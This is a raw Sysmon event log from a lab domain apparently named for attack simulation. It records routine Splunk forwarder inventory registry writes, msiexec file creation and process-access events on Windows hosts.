14:42:15.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\splunkdrv.sys|d26d9681615e2fde\BinProductVersion10.0.10011.16384 13241300x800000000000000038063Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:15.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\splunkdrv.sys|d26d9681615e2fde\LinkDate10/02/2019 17:37:08 13241300x800000000000000038062Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:15.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\splunkdrv.sys|d26d9681615e2fde\Publisherwindows (r) win 7 ddk provider 13241300x800000000000000038061Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:15.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\splunkdrv.sys|d26d9681615e2fde\LowerCaseLongPathc:\program files\splunkuniversalforwarder\bin\splunkdrv.sys 13241300x800000000000000038060Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:15.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\splunkd.exe|97fa29633c3fe2cc\BinProductVersion2048.512.24125.32311 13241300x800000000000000038059Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:15.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\splunkd.exe|97fa29633c3fe2cc\LinkDate02/07/2020 15:26:19 13241300x800000000000000038058Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:15.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\splunkd.exe|97fa29633c3fe2cc\Publishersplunk inc. 13241300x800000000000000038057Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:15.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\splunkd.exe|97fa29633c3fe2cc\LowerCaseLongPathc:\program files\splunkuniversalforwarder\bin\splunkd.exe 13241300x800000000000000038056Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:15.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\splunk.exe|a8c4bd649036a5f1\BinProductVersion2048.512.24125.32311 13241300x800000000000000038055Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:15.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\splunk.exe|a8c4bd649036a5f1\LinkDate02/07/2020 15:13:21 13241300x800000000000000038054Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:15.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\splunk.exe|a8c4bd649036a5f1\Publishersplunk inc. 13241300x800000000000000038053Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:15.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\splunk.exe|a8c4bd649036a5f1\LowerCaseLongPathc:\program files\splunkuniversalforwarder\bin\splunk.exe 13241300x800000000000000038052Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:15.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\splunk-wmi.exe|fd58174ea9e370c0\BinProductVersion2048.512.24125.32311 13241300x800000000000000038051Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:15.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\splunk-wmi.exe|fd58174ea9e370c0\LinkDate02/07/2020 15:24:43 13241300x800000000000000038050Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:15.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\splunk-wmi.exe|fd58174ea9e370c0\Publishersplunk inc. 13241300x800000000000000038049Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:15.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\splunk-wmi.exe|fd58174ea9e370c0\LowerCaseLongPathc:\program files\splunkuniversalforwarder\bin\splunk-wmi.exe 13241300x800000000000000038048Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:15.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\splunk-winprintm|94e5804991a842aa\BinProductVersion2048.512.24125.32311 13241300x800000000000000038047Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:15.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\splunk-winprintm|94e5804991a842aa\LinkDate02/07/2020 15:19:24 13241300x800000000000000038046Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:15.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\splunk-winprintm|94e5804991a842aa\Publishersplunk inc. 13241300x800000000000000038045Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:15.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\splunk-winprintm|94e5804991a842aa\LowerCaseLongPathc:\program files\splunkuniversalforwarder\bin\splunk-winprintmon.exe 13241300x800000000000000038044Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:15.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\splunk-winhostin|9c2f9c50ce2f578e\BinProductVersion2048.512.24125.32311 13241300x800000000000000038043Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:15.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\splunk-winhostin|9c2f9c50ce2f578e\LinkDate02/07/2020 15:19:16 13241300x800000000000000038042Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:15.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\splunk-winhostin|9c2f9c50ce2f578e\Publishersplunk inc. 13241300x800000000000000038041Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:15.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\splunk-winhostin|9c2f9c50ce2f578e\LowerCaseLongPathc:\program files\splunkuniversalforwarder\bin\splunk-winhostinfo.exe 13241300x800000000000000038040Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:15.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\splunk-winevtlog|d8125e0c86684fca\BinProductVersion2048.512.24125.32311 13241300x800000000000000038039Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:15.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\splunk-winevtlog|d8125e0c86684fca\LinkDate02/07/2020 15:18:57 13241300x800000000000000038038Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:15.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\splunk-winevtlog|d8125e0c86684fca\Publishersplunk inc. 13241300x800000000000000038037Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:15.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\splunk-winevtlog|d8125e0c86684fca\LowerCaseLongPathc:\program files\splunkuniversalforwarder\bin\splunk-winevtlog.exe 13241300x800000000000000038036Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:15.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\splunk-regmon.ex|618812230e4591fb\BinProductVersion2048.512.24125.32311 13241300x800000000000000038035Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:15.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\splunk-regmon.ex|618812230e4591fb\LinkDate02/07/2020 15:19:10 23542300x800000000000000038134Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:18.980{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\QXL4YWDM1H\System.ServiceProcess.ni.dll.auxMD5=FB48CBD15429C7B1F9A14E82CDF8B24D,SHA256=E11D297738EB6EFD68E74B919FC25F124C6CC4AE3E1C7595BB224BF4567C30FA,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038133Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:18.980{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\QXL4YWDM1H\System.ServiceProcess.ni.dllMD5=52E1C1642839FB780CD29C337867C549,SHA256=5823F6CC6549B5FE1FDFF03DCF1B95DFAFDE9D381C04D3C8F5BDCC636A053E54,IMPHASH=00000000000000000000000000000000truetrue 23542300x800000000000000038132Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:18.964{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\QSGIT28P8A\System.Xml.ni.dll.auxMD5=6A7FCA88EB093FE1BB082E272AC2421D,SHA256=A5950FA568159B35AA8963997DB039E0CCBABC8668001E24B0E8E7B05467B0DA,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038131Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:18.964{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\QSGIT28P8A\System.Xml.ni.dllMD5=D2D51896FC97FC53362B468BA49EEE3A,SHA256=D42A3DE02488863E75FAED49C251D958F8C26CC2F523ACA01D0F0CAC4052F78C,IMPHASH=00000000000000000000000000000000truetrue 10341000x800000000000000038130Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:18.870{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-6ECA-613B-1D07-00000000F001}6292C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038129Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:18.870{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038128Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:18.870{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038127Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:18.870{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038126Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:18.870{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038125Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:18.870{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6ECA-613B-1D07-00000000F001}6292C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000038124Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:18.870{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-6ECA-613B-1D07-00000000F001}6292C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000038123Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:18.872{7BD73061-6ECA-613B-1D07-00000000F001}6292C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe10.0.10011.16384SplunkMonNoHandle Control ProgramWindows (R) Win 7 DDK driverWindows (R) Win 7 DDK providerSplunkMonNoHandle.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=BF28C74E12839E40CD89696C7CB01573,SHA256=6187325F302F232DE582FE28E0E0D2B292AB8122C3356C9CE295A482D7B93EA3,IMPHASH=27776F2813155A6CF34F6A075A0C2EC8{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000038122Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:18.730{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\QGHMUB8IBD\System.ni.dll.auxMD5=4C4FFFC3E154C905C9C643845FCE328A,SHA256=1F43D99B3935FB07CC6C6340C832C92C43495F06826C07A01FEBF4BF1E97336B,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038121Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:18.730{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\QGHMUB8IBD\System.ni.dllMD5=78947C49BA92424CC6AA6E8CD6D1CB3A,SHA256=4123DF564E230E74A1AB0AB44271D9B033898AE5F9BD741BB3C914D6F1D539C7,IMPHASH=00000000000000000000000000000000truetrue 23542300x800000000000000013432Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:18.225{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=3D08F692DBFECDFC074FCF4F1BAF9172,SHA256=E2E2B507852A00E496FA47CBA0B438803B2CFC3C5A4A4307BD863E72BAAE6B72,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038120Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:18.683{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=4897FD67D0FB4727400275E9DB7511E1,SHA256=87D0635B5DF2D950C60465111141903FE560B2EBE973092F05F6038039CEBE02,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038119Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:18.683{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=84373834E4F6A7CBF03AE81371680062,SHA256=E2A81A7FA4309D9DC9ADE30B4686A457C2AA6D485D28FCD22EE224DD95AE2EEC,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038118Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:18.355{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\Q5MF3AYVTA\System.ServiceModel.ni.dll.auxMD5=D9EA29F8B3C587F8A388E2C44AF446DD,SHA256=61515EE0004F0BA51135A47837FFBCC51EC1417BF6C4D10BDB1F4DA6E2C17F64,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038117Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:18.355{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\Q5MF3AYVTA\System.ServiceModel.ni.dllMD5=72297374A83EFE1E568D5F1AA1B4E748,SHA256=0C5281E6416D4F9EEE59F1CAA2C737DB472DEBC0A7F15B038484A51AD2D9634A,IMPHASH=00000000000000000000000000000000truetrue 10341000x800000000000000038116Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:18.339{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-6ECA-613B-1C07-00000000F001}6828C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038115Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:18.339{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038114Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:18.339{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 